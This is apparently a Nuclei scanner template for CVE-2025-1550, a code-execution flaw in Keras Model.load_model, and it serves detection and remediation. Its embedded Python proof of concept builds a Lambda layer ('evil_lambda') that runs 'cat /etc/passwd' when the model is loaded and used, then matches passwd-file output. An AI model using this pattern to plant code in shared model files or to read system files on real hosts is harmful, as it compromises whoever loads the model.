id: CVE-2025-1550

info:
  name: Keras Model.load_model - Arbitrary Code Execution
  author: nukunga[seunghyeonJeon]
  severity: critical
  description: |
    The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
  impact: |
    Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
  remediation: |
    Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1550
    - https://github.com/keras-team/keras/pull/20751
    - https://towerofhanoi.it/writeups/cve-2025-1550/
  classification:
    epss-score: 0.02581
    epss-percentile: 0.84173
  metadata:
    max-request: 1
  tags: cve,cve2025,code,keras,rce,ml

self-contained: true

code:
  - engine:
      - py
      - python3

    source: |
      import os
      import sys

      try:
          import tensorflow as tf
          from tensorflow.keras.models import load_model
          from tensorflow.keras.layers import Lambda, Input
          from tensorflow.keras.models import Model
          import numpy as np
      except ImportError:
          sys.exit(1)

      def create_malicious_model():
          def malicious_function(x):
              result = os.popen("cat /etc/passwd").read()
              print(result)
              return x

          input_layer = Input(shape=(1,))
          lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
          model = Model(inputs=input_layer, outputs=lambda_layer)
          return model

      def exploit_lambda_layer():
          model_path = "/tmp/malicious_model.keras"
          try:
              model = create_malicious_model()
              model.save(model_path)
              del model

              loaded_model = load_model(model_path)
              test_input = np.array([[1.0]])
              loaded_model.predict(test_input, verbose=0)

              return True
          except:
              return False
          finally:
              if os.path.exists(model_path):
                  os.remove(model_path)

      exploit_lambda_layer()

    matchers:
      - type: regex
        part: response
        regex:
          - "root:.*:0:0:"
# digest: 4a0a0047304502207042b77a837f7ec42f91b661c6cd5003c81b26301778675921825b682c77be7b022100be8f03f2269e4f7201a5153e0113b942a9dff866d3ac2ebaef3cfa1852c46a50:922c64590222798bb761d5b6d8e72950